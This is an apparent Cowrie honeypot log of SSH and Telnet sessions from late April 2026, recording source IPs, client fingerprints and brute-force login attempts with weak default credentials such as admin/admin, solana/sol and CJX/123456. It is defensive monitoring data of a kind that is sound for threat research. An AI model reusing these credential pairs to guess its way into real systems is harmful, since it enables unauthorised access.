{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":49492,"dst_ip":"159.203.135.109","dst_port":22,"session":"e355cc2be915","protocol":"ssh","message":"New connection: 2.57.122.238:49492 (159.203.135.109:22) [session: e355cc2be915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:41:49.357238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:41:49.361263Z","src_ip":"2.57.122.238","session":"e355cc2be915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:41:49.466626Z","src_ip":"2.57.122.238","session":"e355cc2be915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:41:49.768052Z","src_ip":"2.57.122.238","session":"e355cc2be915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:41:50.872931Z","src_ip":"2.57.122.238","session":"e355cc2be915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":56354,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb5a3d23876a","protocol":"ssh","message":"New connection: 80.94.92.186:56354 (159.203.135.109:22) [session: fb5a3d23876a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:23.347541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:23.411769Z","src_ip":"80.94.92.186","session":"fb5a3d23876a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:23.504364Z","src_ip":"80.94.92.186","session":"fb5a3d23876a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sol","message":"login attempt [solana/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:24.357359Z","src_ip":"80.94.92.186","session":"fb5a3d23876a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:25.551358Z","src_ip":"80.94.92.186","session":"fb5a3d23876a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00104331970215,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:26.030806Z","src_ip":"24.178.165.51","session":"3fb3954faa18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48450,"dst_ip":"159.203.135.109","dst_port":22,"session":"51f278008740","protocol":"ssh","message":"New connection: 159.203.92.129:48450 (159.203.135.109:22) [session: 51f278008740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:26.955713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:26.960439Z","src_ip":"159.203.92.129","session":"51f278008740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:26.964621Z","src_ip":"159.203.92.129","session":"51f278008740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Bot","password":"Bot","message":"login attempt [Bot/Bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:26.976583Z","src_ip":"159.203.92.129","session":"51f278008740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:27.986250Z","src_ip":"159.203.92.129","session":"51f278008740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":34624,"dst_ip":"10.17.0.5","dst_port":22,"session":"75bf54ac40ae","protocol":"ssh","message":"New connection: 87.251.64.176:34624 (10.17.0.5:22) [session: 75bf54ac40ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:54.438826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:54.443300Z","src_ip":"87.251.64.176","session":"75bf54ac40ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:54.540923Z","src_ip":"87.251.64.176","session":"75bf54ac40ae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:54.833552Z","src_ip":"87.251.64.176","session":"75bf54ac40ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:54.933319Z","session":"75bf54ac40ae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:55.031627Z","src_ip":"87.251.64.176","session":"75bf54ac40ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:42:55.131667Z","src_ip":"87.251.64.176","session":"75bf54ac40ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35600,"dst_ip":"159.203.135.109","dst_port":22,"session":"252b2d0493e9","protocol":"ssh","message":"New connection: 37.143.61.84:35600 (159.203.135.109:22) [session: 252b2d0493e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:01.082294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:01.094206Z","src_ip":"37.143.61.84","session":"252b2d0493e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:01.184367Z","src_ip":"37.143.61.84","session":"252b2d0493e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"homayoum","message":"login attempt [admin/homayoum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:02.215439Z","src_ip":"37.143.61.84","session":"252b2d0493e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:03.496069Z","src_ip":"37.143.61.84","session":"252b2d0493e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42612,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f87896a1e45","protocol":"ssh","message":"New connection: 159.203.92.129:42612 (159.203.135.109:22) [session: 4f87896a1e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:11.362654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:11.367208Z","src_ip":"159.203.92.129","session":"4f87896a1e45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:11.371802Z","src_ip":"159.203.92.129","session":"4f87896a1e45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"CJX","password":"123","message":"login attempt [CJX/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:11.389001Z","src_ip":"159.203.92.129","session":"4f87896a1e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:12.396713Z","src_ip":"159.203.92.129","session":"4f87896a1e45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.170.199.183","src_port":34984,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c18ee7a4dce","protocol":"telnet","message":"New connection: 107.170.199.183:34984 (10.17.0.5:23) [session: 1c18ee7a4dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:32.412903Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59704,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbe2470497e6","protocol":"ssh","message":"New connection: 159.203.92.129:59704 (159.203.135.109:22) [session: fbe2470497e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:56.160961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:56.165939Z","src_ip":"159.203.92.129","session":"fbe2470497e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:56.174679Z","src_ip":"159.203.92.129","session":"fbe2470497e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"CJX","password":"123456","message":"login attempt [CJX/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:56.191491Z","src_ip":"159.203.92.129","session":"fbe2470497e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:43:57.199608Z","src_ip":"159.203.92.129","session":"fbe2470497e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.883328676223755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:44:03.296086Z","src_ip":"107.170.199.183","session":"1c18ee7a4dce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":35360,"dst_ip":"159.203.135.109","dst_port":22,"session":"7139f53dc47d","protocol":"ssh","message":"New connection: 2.57.122.238:35360 (159.203.135.109:22) [session: 7139f53dc47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:44:04.851672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:44:04.857126Z","src_ip":"2.57.122.238","session":"7139f53dc47d","protocol":"ssh"}
